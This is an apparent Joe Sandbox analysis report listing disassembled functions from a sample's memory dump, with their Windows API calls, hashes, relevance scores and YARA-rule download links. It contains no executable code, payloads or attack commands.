Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$TextWindow
String ID:
API String ID: 2912839123-0
Opcode ID: 90840ec6fdea3326dc6836d829e73a3af53da93e834a76650bb7e12bad06c41e
Instruction ID: 39b3e34f0f52ccbf1d9bc8ba5e437bbe1c1067803cfbafd2f3a73466aa4598eb
Opcode Fuzzy Hash: 90840ec6fdea3326dc6836d829e73a3af53da93e834a76650bb7e12bad06c41e
Instruction Fuzzy Hash: 4651C166F14B9185FB00EBACDC552AE6326AF6ABA0F900675DB1C076DDDE7CD444C320

Function 00007FF7B67E653C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF7B67E654B

Part of subcall function 00007FF7B67E5FC4: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7B67E5FE6

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7B67E6560
__scrt_release_startup_lock.LIBCMT ref: 00007FF7B67E65CE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7B67E6621

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 82ea77dc686828d8d4b6b6f5dd528249c478d0f7ec0ca3c5a3cf5b807b775c11
Instruction ID: c3eb6ac69c9f61bca39139454d9c4742ebcca29210648247c50dca00fb8ff6dd
Opcode Fuzzy Hash: 82ea77dc686828d8d4b6b6f5dd528249c478d0f7ec0ca3c5a3cf5b807b775c11
Instruction Fuzzy Hash: 86312818E1824281FA54FB6CDC312BB92959F7A344FC444B4DB0D0B2DFEE3DA4488630

Function 00007FF7B67C5C60 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF7B67C5671), ref: 00007FF7B67C5CAA
CreateDirectoryW.KERNEL32 ref: 00007FF7B67C5D0F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF7B67C5671), ref: 00007FF7B67C5D6D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C5DAA

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: eefba0748ed48b308cf22d4772b83b1292ca5aa070c4574f2be7320cb2d58eb7
Instruction ID: 2c9b95ad7834e67162a74e594bd45a9095266a5abbe0ae4c375eebf29d2b0ff7
Opcode Fuzzy Hash: eefba0748ed48b308cf22d4772b83b1292ca5aa070c4574f2be7320cb2d58eb7
Instruction Fuzzy Hash: 0631D722A1874281F720BB2DA8A417BD351FFAE7B0FD40271DB5D4269CDF3DD4518610

Function 00007FF7B67C4520 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF7B67C4548
ReadFile.KERNEL32 ref: 00007FF7B67C4567
GetLastError.KERNEL32 ref: 00007FF7B67C459B
GetLastError.KERNEL32 ref: 00007FF7B67C45BA

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction ID: 432af6a7aca8d8da7dd2cdf0be606be297f3a30740b03b33b3608b3476717340
Opcode Fuzzy Hash: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction Fuzzy Hash: 02218623A0864181EA206F19BD2073BF7A0EF6EBB4FA44570DB5D4668CCE6CD8858720

Function 00007FF7B67D6D28 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D6FBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D6FC5

Strings

~(, xrefs: 00007FF7B67D6F2B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: ~(
API String ID: 3668304517-2440414393
Opcode ID: 2b56bb70c79bc971eda11b5578f129f1cc58432322b0d9b547e71f9f1efc80b8
Instruction ID: e44f976477f2ad1968e2223e8b5aacfc3ef99e17790a51455d63b0f29448c349
Opcode Fuzzy Hash: 2b56bb70c79bc971eda11b5578f129f1cc58432322b0d9b547e71f9f1efc80b8
Instruction Fuzzy Hash: D571C5A2B14A5185FB00EB6DDC541AEA376AF6ABA4F900672DB2C077DCDE3CD411C320

Function 00007FF7B67DD0A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67CDC4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF7B67CDCA3

OleInitialize.OLE32 ref: 00007FF7B67DD0C2
SHGetMalloc.SHELL32 ref: 00007FF7B67DD110

Strings

riched20.dll, xrefs: 00007FF7B67DD0B1

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: 30ed311a49e238ceea73ca57b68d7366abba04754796603139c7fee8065bdde5
Instruction ID: a9a2b5d530988029f07d6e903e8063748515bc0adfa8e241eccfd8cfd9cc3f5e
Opcode Fuzzy Hash: 30ed311a49e238ceea73ca57b68d7366abba04754796603139c7fee8065bdde5
Instruction Fuzzy Hash: 5AF04471658A4182E710EB14E8545ABF3A0FF99754F800175E78D42658DFBCD15CCB10

Function 00007FF7B67DDAC4 Relevance: 4.6, APIs: 3, Instructions: 146COMMON

Download Yara Rule

APIs

SHFileOperationW.SHELL32 ref: 00007FF7B67DDC90
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DDCFC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67DDD02

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileOperation
String ID:
API String ID: 2032784890-0
Opcode ID: 7795e1decf5c61fb28cbe9873a1872282343af9adeb0f6444034ac41d94e344c
Instruction ID: bb1e75289e25b4ddadae6f3e8c626f0fd4af83f13dca47a477f8a1840c088ad0
Opcode Fuzzy Hash: 7795e1decf5c61fb28cbe9873a1872282343af9adeb0f6444034ac41d94e344c
Instruction Fuzzy Hash: 2A619F62B15B41C8EB00EF68C8646AE7361EB6A798F804A75DB0C13B9DDF38D555C310

Function 00007FF7B67C4334 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF7B67C43CF
CreateFileW.KERNEL32 ref: 00007FF7B67C443C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C44D8

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 6b8eb8b94387b8485b01743e86d2fb3528bffe900f4db4cb81d7376aef299a7b
Instruction ID: 20e9fc8b554bc386823722c899c27545759c92a6a38f0e0ce9b6ebdfff5fdb90
Opcode Fuzzy Hash: 6b8eb8b94387b8485b01743e86d2fb3528bffe900f4db4cb81d7376aef299a7b
Instruction Fuzzy Hash: D741C56361478582EB109F19E85436AA3A1FB9A7B4F600374DBAD03ADDCF3CD4908710

Function 00007FF7B67C1FF8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF7B67C203E
GetWindowTextW.USER32 ref: 00007FF7B67C2076
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C2105

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 29206f03e8ea25254ece3d2a72832fd1ea84fd53fe3ace23c817ee81615a60be
Instruction ID: 92efc571977ca90267d8ca2e872524a9440a631218149e9f89f9ff73a636aa24
Opcode Fuzzy Hash: 29206f03e8ea25254ece3d2a72832fd1ea84fd53fe3ace23c817ee81615a60be
Instruction Fuzzy Hash: 2821C762628B8581EA109B29A85016BA365FB9EBE0F544335EBDC03B99DF3CD090C700

Function 00007FF7B67C5FF4 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,00000001,?,00007FF7B67CFF75), ref: 00007FF7B67C601E
SetFileAttributesW.KERNEL32 ref: 00007FF7B67C6070
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C60DA

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: b265933569970aa9f88eee972e8007fd8b91439cfa1828cb055f1fca20ce9a43
Instruction ID: 3aa98fdeb8400b1464cd0f723f780c865528f32785f6c2f8ef344862b502d482
Opcode Fuzzy Hash: b265933569970aa9f88eee972e8007fd8b91439cfa1828cb055f1fca20ce9a43
Instruction Fuzzy Hash: 38213022B1878181EA10EB1CE86166FA361FFDDBA4F844270EF9D4269CDF3CD584C610

Function 00007FF7B67C5790 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B67CFFB6), ref: 00007FF7B67C57BB
DeleteFileW.KERNEL32 ref: 00007FF7B67C580B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C5875

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: df95a73e4d643e9604293c38faa31d47468479eac191cd886206386da3b21c8e
Instruction ID: f1ee331c20d3274c948fe87f5388b0c05c8b90d3a8404c0821dbd16916ae1f92
Opcode Fuzzy Hash: df95a73e4d643e9604293c38faa31d47468479eac191cd886206386da3b21c8e
Instruction Fuzzy Hash: 3A21BB22A28B8181FA10AB28E85552BA361FB9DBD4F900274EB9D4279DDF3CD551C710

Function 00007FF7B67C5890 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7B67C5885,?,?,?,?,00007FF7B67D0062), ref: 00007FF7B67C58BB
GetFileAttributesW.KERNEL32 ref: 00007FF7B67C5908
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C596D

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: ef92913312bb73a90d90e731208bb6c0704bd2d73e0e832659789265a95f0d3b
Instruction ID: 3d6016dd2628ff97be2310927f5b04b9e08982d3934ef318af4be94e78dd9f50
Opcode Fuzzy Hash: ef92913312bb73a90d90e731208bb6c0704bd2d73e0e832659789265a95f0d3b
Instruction Fuzzy Hash: 1F219562A2878581EA10AB2CE85412BA361FBADBB4F900271EB9D4379DDF3CD5418614

Function 00007FF7B67EF444 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7B67EF428), ref: 00007FF7B67EF46C
TerminateProcess.KERNEL32(?,?,?,00007FF7B67EF428), ref: 00007FF7B67EF477
ExitProcess.KERNEL32 ref: 00007FF7B67EF486

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0d5958cce1ab38587c529cfbb209ba956894e29a38315a5b4669c830f79dc8c5
Instruction ID: 274bf1a20d021f94f96725591bdbd90e08fa16129589781b9720aaacbaa6d9d4
Opcode Fuzzy Hash: 0d5958cce1ab38587c529cfbb209ba956894e29a38315a5b4669c830f79dc8c5
Instruction Fuzzy Hash: 4AE01214B0434642EB047B395D61A7763569FBEB41F4044B8CB5E0239ECD3DA44886B0

Function 00007FF7B67D22E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 147COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D2323

Strings

vector too long, xrefs: 00007FF7B67D2254

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: vector too long
API String ID: 3668304517-2873823879
Opcode ID: a7343eee3c490a039372984b75849d01cabdd3500f915569194afc0abc0bdd4f
Instruction ID: ba46d314033cc2ad59fa9f314200e99a91ede464f172002cae0c151d333deae7
Opcode Fuzzy Hash: a7343eee3c490a039372984b75849d01cabdd3500f915569194afc0abc0bdd4f
Instruction Fuzzy Hash: 8661E3B2A1878186E700AB64DC501AEB7B0FBAA754F505675EB9D07B9DDF3CD090C710

Function 00007FF7B67C491C Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000002,?,?), ref: 00007FF7B67C4A4D
GetLastError.KERNEL32(?,?), ref: 00007FF7B67C4A5C

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction ID: 93c682a6e7610cb7bdcc52360929e59beaf6f8b91c475847bc1a50e4ec3e30fd
Opcode Fuzzy Hash: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction Fuzzy Hash: D4314623B1969642EE606B2DDE607BAA350AF6ABE4FA40171DF0D0379CDE3CD4418720

Function 00007FF7B67D47F0 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7B67C6288: FindClose.KERNEL32(?,?,?,00007FF7B67CFFA5), ref: 00007FF7B67C62BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D4931
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67D4937

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 31ed43cac19c3df1918896597e696cee84c1e21506e063e53336a4ef2d3e7751
Instruction ID: 729b9b40366eedf30a73d28a6545c2f4746aa3b08ce8aa9dc5749345bbab6e18
Opcode Fuzzy Hash: 31ed43cac19c3df1918896597e696cee84c1e21506e063e53336a4ef2d3e7751
Instruction Fuzzy Hash: F841D262F14B85C5FB00AB6CD8513AEA366EF6A7A4F900675DF5C13ADCDE7890408354

Function 00007FF7B67C1EBC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF7B67C1EF1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7B67C1FF0

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: a9e66eae6c10b7998c2c5de9bd97b12879dcbec8aef09866538b836a72d0f55b
Instruction ID: d3ac2a3929343a31254d03641b4fd62d741831d87c35e0dbd89bf287ca42943e
Opcode Fuzzy Hash: a9e66eae6c10b7998c2c5de9bd97b12879dcbec8aef09866538b836a72d0f55b
Instruction Fuzzy Hash: 2F310A21A2978585EA10AB19E86436BF351EBAA7A0F804275E78C07BDDDF3CE040C710

Function 00007FF7B67C4C70 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF7B67C4C9E
SetFileTime.KERNEL32 ref: 00007FF7B67C4D3B

Memory Dump Source

Source File: 00000003.00000002.1359584671.00007FF7B67C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7B67C0000, based on PE: true

Associated: 00000003.00000002.1359551673.00007FF7B67C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B680D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359647999.00007FF7B6816000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000003.00000002.1359708840.00007FF7B682C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff7b67c0000_4kN17cL4Tn.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 14d6942ec359b5a95a3eda4e56e7a82c4a9158dc0f228e60d57ace847166d981
Instruction ID: 8292912a234d3f2bde52aac7dc882ff05a09411cfc3995d41d7f4fc563123bff
Opcode Fuzzy Hash: 14d6942ec359b5a95a3eda4e56e7a82c4a9158dc0f228e60d57ace847166d981
